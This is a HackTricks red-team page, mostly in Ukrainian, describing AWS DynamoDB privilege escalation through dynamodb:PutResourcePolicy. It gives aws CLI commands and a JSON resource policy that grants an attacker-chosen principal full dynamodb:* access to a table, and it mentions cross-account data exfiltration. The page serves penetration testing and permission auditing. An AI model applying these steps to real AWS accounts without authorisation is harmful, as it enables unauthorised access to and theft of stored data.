AWS - DynamoDB Privesc

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

dynamodb

Для додаткової інформації про dynamodb див.:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy

З березня 2024 року AWS пропонує політики на рівні ресурсів для DynamoDB (AWS News).

Тобто, якщо у вас є dynamodb:PutResourcePolicy для таблиці, ви можете просто надати собі або будь-якому іншому суб'єкту повний доступ до таблиці.

Надання dynamodb:PutResourcePolicy випадковому суб'єкту часто відбувається ненавмисно, якщо адміністратори думають, що надання dynamodb:Put* дозволить суб'єкту лише записувати елементи в базу даних — або якщо вони надали цей набір дозволів до березня 2024 року...

Ідеально, якщо у вас також є dynamodb:GetResourcePolicy, щоб ви не перезаписали інші потенційно критичні дозволи, а лише додали потрібні вам дозволи:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Якщо ви не можете отримати поточну політику, просто використайте цю, яка надає повний доступ до таблиці вашому principal:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Якщо потрібно налаштувати, ось список усіх можливих дій DynamoDB: AWS Documentation. А ось список усіх дій, які можна дозволити через resource based policy AND which of these can be used cross-account (think data exfiltration!): AWS Documentation

Тепер, коли документ політики policy.json готовий, додайте resource policy:

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Тепер у вас мають бути потрібні дозволи.

Post Exploitation

Наскільки мені відомо, немає іншого прямого способу to escalate privileges in AWS лише маючи певні AWS dynamodb дозволи. Ви можете читати чутливу інформацію з таблиць (які можуть містити AWS credentials) та записувати інформацію в таблиці (що може спровокувати інші вразливості, наприклад lambda code injections...), але всі ці варіанти вже розглянуті на DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Прочитати дані, зловживаючи data Streams

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks